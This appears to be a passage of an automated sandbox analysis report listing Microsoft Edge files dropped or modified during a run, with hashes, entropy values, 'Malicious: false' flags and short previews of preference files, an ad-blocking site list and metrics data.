Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369633774686293","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\60a151a9-6044-4cbb-8aa4-6958b6a7ece2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640136267101608
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Q:fwUQC5VwBIiElEd2K57P7Q
MD5:	46EC1899F11FE2F524F4A0ED857B2BF7
SHA1:	830620AD3E3FAC7FE25BD86C291A17AFA245B2CA
SHA-256:	07965BB5BA96950A38D1B7E50D9564F84D383F21D6FB17B6A411925728AF5146
SHA-512:	5496B3873B3C5FA3560593D4E3E9F43F6BFA288C5FC3B879D14269A51938D5DDAD950326D86D8DB606A34F7B235E615237136DB19539A1740CAD9B527BEBAEB2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640136267101608
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Q:fwUQC5VwBIiElEd2K57P7Q
MD5:	46EC1899F11FE2F524F4A0ED857B2BF7
SHA1:	830620AD3E3FAC7FE25BD86C291A17AFA245B2CA
SHA-256:	07965BB5BA96950A38D1B7E50D9564F84D383F21D6FB17B6A411925728AF5146
SHA-512:	5496B3873B3C5FA3560593D4E3E9F43F6BFA288C5FC3B879D14269A51938D5DDAD950326D86D8DB606A34F7B235E615237136DB19539A1740CAD9B527BEBAEB2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3DAED-C20.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.2547106910665986
Encrypted:	false
SSDEEP:	1536:rBeZzOIU6Aab2U9TVjiRGew2gDe6kPKDHc8HsMRGg1DRFFky:rwzrVAaz9TVnew2g4PKD88Hs5g1HFky
MD5:	CB4DBD3C5EE1A027FBDC7549B289C670
SHA1:	638E6865BD0EEE3382391C10D3AE2CDB08FC692A
SHA-256:	E6A0217B803E92869B0BED30216262335E51A87213446EFC8D8A785AD1EBEAF6
SHA-512:	7A69226A88EA1B4657244FF95AA81125D841514E72318689E9FD4A24EEDB0946574A42FFFAC054B48DDF060C7AF1E95ED5B887F7337B78A960FDCC6821D73B38
Malicious:	false
Preview:	...@..@...@.....C.].....@................r...q..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".gyanpt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....triggered...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3DAF6-DB8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.03970235992048797
Encrypted:	false
SSDEEP:	192:+70EbtmqvDtKX7WJEa3XxxTVwg7XqiV0Dd7gUhSVNQ+O1gQtQBr+q01n8y08TcmQ:m0EtBeQtbwhOtag7BqX108T2RGOD
MD5:	2F1DFA2D4B4E277EE0369A95D0E244CE
SHA1:	B00092DEADE21C0E4CACFEDDF7C3DA64DECD4E45
SHA-256:	16F515A17A1A632F42074088002C8F5270F129825F01EEFEF8A69EB5205CD847
SHA-512:	DEA705EE75DB32C4F7750B5163CD788EC30DFF6F777199627C308B11F97AA1EDBBF65537CCBC20A65A8F1AD46CBAEEE9D52344D5486A2846CDA081588C43E0C2
Malicious:	false
Preview:	...@..@...@.....C.].....@...............0`...O..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".gyanpt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66D3DAFE-1F08.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.038827131144394934
Encrypted:	false
SSDEEP:	192:q70EbtmqvD3KX74JEa3Xxx7UpXxgg6zfhj1NEroDtM1gQMGYOe/q2n8y08Tcm2Rl:u0EtxeZVQh53Bsg6YZh08T2RGOD
MD5:	2DCB6BAF2BB5FF4A6DCE06230310E693
SHA1:	C963A53687ACA51F274F5D83DD7E33AE659DAB1C
SHA-256:	5EC6AE46D1BEE16E5FD4FC1D78CB12FF13D059B28420504A80FC10D74E83CECD
SHA-512:	3180DDDDEDEA74F77D6D796DDE58416EF19BACF362627A3C867042DF78F798A707C3F5A341B49EFC57A679A4554236ABEDA5089C52D4A26A246FF0C2D51078D5
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8^...M..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".gyanpt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3553968406659012
Encrypted:	false
SSDEEP:	12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
MD5:	CFAB81B800EDABACBF6CB61AA78D5258
SHA1:	2730D4DA1BE7238D701DC84EB708A064B8D1CF27
SHA-256:	452A5479B9A2E03612576C30D30E6F51F51274CD30EF576EA1E71D20C657376F
SHA-512:	EC188B0EE4D3DAABC26799B34EE471BEE988BDD7CEB011ED7DF3D4CF26F98932BBBB4B70DC2B7FD4DF9A3981B3CE22F4B5BE4A0DB97514D526E521575EFB2EC6
Malicious:	false
Preview:	...@.@...@..............@...................................`... ...i.y.........CrashpadMetrics.....i.y..Yd.h.......A.......e............,.........W.......................W....................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.UsedPct.......h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A............................E.[4.f..................E.[4.f.................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.Errors............i.y..Yd.........A..................._..-`....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd.@.......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y......VM....],........H...i.y.1U!S............................................................ ...i.y...0...WM....],........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.053837919135487
Encrypted:	false
SSDEEP:	3:FiWWltl/9UgBVP/Sh/JzvLi2RRIxINXj1Qllt:o1//BVsJDG2Yqc/
MD5:	2DE758B44E33AEAF19BAF23B60AA10AD
SHA1:	CC987BEF7CAFDF20BC38906BA55767454B029A6A
SHA-256:	6E8D74D84A400AD5C68229CF1458EA52EE75018E74070152DA8A189853FBF2C6
SHA-512:	6BFC85466FC55782132F38EB3F851FA80434494A2A1607862607065608CE11C2CFA2533C218165F869BC41B5790C6E58F8A8FBCFBFCF59623C3B90436AFD37D0
Malicious:	false
Preview:	sdPC......................5.y&.K.?....................................................................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\62ac867d-7059-4a6a-b8ca-075af05c023c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9161
Entropy (8bit):	5.1811828061316305
Encrypted:	false
SSDEEP:	192:sVU+J4mTIPPhSGdMYpsYPpj+FVApO+FBf:sVU+JDInYOvpUVUOW
MD5:	1B93DC7C5C018135FEEBD320917D200F
SHA1:	B2AD4B1F5A8D1D7C188AEB1196F5AE403D3FA8B3
SHA-256:	7AB743BE0613A0A7FCE2ED2A80022457292A59EB74AFF57438CAD389943DC0FE
SHA-512:	BB5190F9E1F9F0875161B2C322B5A0B014AC2BBA640DC643838A15BDD8A64B77C250D0CFF8545F8EA5F776B64DA8A04FB4AD1C08FE11018D0541606B10267CF7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369633774665119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\77ec836c-fdd9-447f-86c6-81e514f59401.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	5.070432809209306
Encrypted:	false
SSDEEP:	96:sVUql1J1YVt8b9q7CTOfYuXVRWFGiC9YpsY5Th6Cp9/x+6M8muecmAeCVe4zvrOW:sVU+J4mTIPPhDYpsYPpj+FVApO+FBf
MD5:	BFF68C2299021666DA080572BF886FD9
SHA1:	9CDBD117EA42A49F5F4059C4F7A6C259FA8BAE41
SHA-256:	1C988E5473FAC7DD1EB678F947EC01AF4A211B3C6A33BC386248B672E286F855
SHA-512:	E7E97873370754A472DE162133CB5177440151754AD112CEF095922B631781901DDDA1124B52DD1F253F831A229E477DCA2F9A29B8EE03015E3492C7D75EA9B6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369633774665119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\90f50751-1d6b-4a8c-8ef5-9ae2ed07aa21.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\93bd589d-016f-4304-8f0e-f2c826ab3025.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.5657447056761296
Encrypted:	false
SSDEEP:	768:X1bGU+7pLGLvRsWP5xfrG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVryFbtMurw31qyV:X1bGU+cvRsWP5xfrGu1jamyFhMrkHQwa
MD5:	AABD210A2ED500D45383FF84C64E4B68
SHA1:	2C3A58885AE29489F220C49E047FA17E32BEF6D9
SHA-256:	CB3A12C988337C5900D91858D51AC11F77285B956B90554E2AF84EBF1089D77D
SHA-512:	43AEB85F4A109AFC4F8244926CA73A986229427B26D839E79F0F0C620AB10965DAEBC39259142F0507BCD5A3AB8654D1381C9B1158EDF57B6035C8D604C9F0A9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369633774185691","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369633774185691","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	12600
Entropy (8bit):	5.321669894151649
Encrypted:	false
SSDEEP:	192:0AOEH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNdl:HOEOKSXs/J7mGnQmLu5/5eNdl
MD5:	5CE2C8A11222713367B707D268DAF7DF
SHA1:	8D956BC8CB81BAE4B7D30D9D12A2755BC9E8CCC2
SHA-256:	2CEFCA72EF14CEDECA7BF44E29644DE88804E5894277A7594CEF7AFD49AA8DA2
SHA-512:	8A6825592A60B9CC7DBCEEE011F67C4E1A30BDDA0F8705158C87CF635559D36E4D4830F0013A09B974967504318611BE46FE186582587D420DBF26F5FF08DF39
Malicious:	false
Preview:	...m.................DB_VERSION.1b..(.................QUERY_TIMESTAMP:arbitration_priority_list4...13369633776736697.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]..A./..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivilegedExperienceID",.. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",.. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",.. "SHOPPING_AUTO_SHOW_BING_SEARCH",.. "SHOPPING_AUTO_SHOW_REBATES",.. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",.. "SHOPPING_AUTO_SHOW_REBATES_DEACTIVATED",.. "SHOPPING_AUTO_SHOW_REBATES_BING",.. "SHOPPING_AUTO_SHOW_REBATES_ORGANIC",.. "SHOPPING_AUTO_SHOW_PRICE_HIST

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.097332834485858
Encrypted:	false
SSDEEP:	6:0h81wkn23oH+Tcwt9Eh1ZB2KLldVq2Pwkn23oH+Tcwt9Eh1tIFUv:0hbfYeb9Eh1ZFLBvYfYeb9Eh16FUv
MD5:	1BA3799D260C838093F7AEF0E3C7FD2F
SHA1:	E0B0E5B8C724645BB60AA3AEC867568A6C7E00BE
SHA-256:	C0791442826B4007A5858F89D70780DC33122D8AE2702AF05ECFC03426BEF745
SHA-512:	767EAD323EB34C889A5B05C23397C2EADB2C6D74E40C8B56F0C92A815FB83655A45C7AE5257E16F8686193929A1566F80130D9C8DBF1394741C0BC86CD6F1AAA
Malicious:	false
Preview:	2024/08/31-23:09:36.004 1de0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db since it was missing..2024/08/31-23:09:36.074 1de0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
